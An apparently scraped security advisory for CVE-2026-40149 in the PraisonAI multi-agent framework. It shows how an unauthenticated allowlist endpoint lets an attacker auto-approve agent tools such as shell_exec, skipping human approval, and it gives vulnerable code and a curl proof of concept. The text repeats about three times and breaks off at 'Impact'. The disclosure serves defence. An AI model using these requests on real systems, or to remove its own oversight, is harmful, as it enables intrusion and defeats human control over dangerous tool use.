CVE-2026-40149

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128.

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128.

Summary

The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.

Details

The vulnerability arises from the interaction of three components:

1. Authentication bypass in default config

_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:

# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
    if not self.config.auth_token:
        return None  # No auth configured → allow everything

GatewayConfig defaults auth_token to None (config.py:61):

# config.py:61
auth_token: Optional[str] = None

2. Unrestricted allowlist modification

The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:

# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
    return auth_err
# ...
if request.method == "POST":
    _approval_mgr.allowlist.add(tool_name)  # No validation on tool_name
    return JSONResponse({"added": tool_name})

There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.

3. Auto-approval fast path

When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):

# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
    future.set_result(Resolution(approved=True, reason="allow-always"))
    return ("auto", future)

The tool executes immediately without any human review.

Complete data flow:

1. Attacker POSTs {"tool_name": "shell_exec"} to /api/approval/allow-list
2. _check_auth() returns None (no auth token configured)
3. _approval_mgr.allowlist.add("shell_exec") adds to the PermissionAllowlist set
4. Agent later calls shell_exec → GatewayApprovalBackend.request_approval() → ExecApprovalManager.register()
5. register() hits the fast path: "shell_exec" in self.allowlist → True
6. Returns Resolution(approved=True) — no human review occurs
7. Agent executes the dangerous tool

PoC

# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}

# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}

# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}

# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}

# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.

Impact

• Bypasses human-in-the-loop safety controls: The approval system is the…

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128.

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. This vulnerability is fixed in 4.5.128.

Summary

The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.

Details

The vulnerability arises from the interaction of three components:

1. Authentication bypass in default config

_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:

# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
    if not self.config.auth_token:
        return None  # No auth configured → allow everything

GatewayConfig defaults auth_token to None (config.py:61):

# config.py:61
auth_token: Optional[str] = None

2. Unrestricted allowlist modification

The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:

# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
    return auth_err
# ...
if request.method == "POST":
    _approval_mgr.allowlist.add(tool_name)  # No validation on tool_name
    return JSONResponse({"added": tool_name})

There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.

3. Auto-approval fast path

When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):

# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
    future.set_result(Resolution(approved=True, reason="allow-always"))
    return ("auto", future)

The tool executes immediately without any human review.

Complete data flow:

1. Attacker POSTs {"tool_name": "shell_exec"} to /api/approval/allow-list
2. _check_auth() returns None (no auth token configured)
3. _approval_mgr.allowlist.add("shell_exec") adds to the PermissionAllowlist set
4. Agent later calls shell_exec → GatewayApprovalBackend.request_approval() → ExecApprovalManager.register()
5. register() hits the fast path: "shell_exec" in self.allowlist → True
6. Returns Resolution(approved=True) — no human review occurs
7. Agent executes the dangerous tool

PoC

# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}

# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}

# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}

# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}

# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.

Impact

• Bypasses human-in-the-loop safety controls: The approval system is the…

Summary

The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.

Details

The vulnerability arises from the interaction of three components:

1. Authentication bypass in default config

_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:

# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
    if not self.config.auth_token:
        return None  # No auth configured → allow everything

GatewayConfig defaults auth_token to None (config.py:61):

# config.py:61
auth_token: Optional[str] = None

2. Unrestricted allowlist modification

The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:

# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
    return auth_err
# ...
if request.method == "POST":
    _approval_mgr.allowlist.add(tool_name)  # No validation on tool_name
    return JSONResponse({"added": tool_name})

There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.

3. Auto-approval fast path

When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):

# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
    future.set_result(Resolution(approved=True, reason="allow-always"))
    return ("auto", future)

The tool executes immediately without any human review.

Complete data flow:

1. Attacker POSTs {"tool_name": "shell_exec"} to /api/approval/allow-list
2. _check_auth() returns None (no auth token configured)
3. _approval_mgr.allowlist.add("shell_exec") adds to the PermissionAllowlist set
4. Agent later calls shell_exec → GatewayApprovalBackend.request_approval() → ExecApprovalManager.register()
5. register() hits the fast path: "shell_exec" in self.allowlist → True
6. Returns Resolution(approved=True) — no human review occurs
7. Agent executes the dangerous tool

PoC

# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}

# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}

# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}

curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
  -H 'Content-Type: application/json' \
  -d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}

# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}

# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.

Impact

• Bypasses human-in-the-loop safety controls: The approval system is the…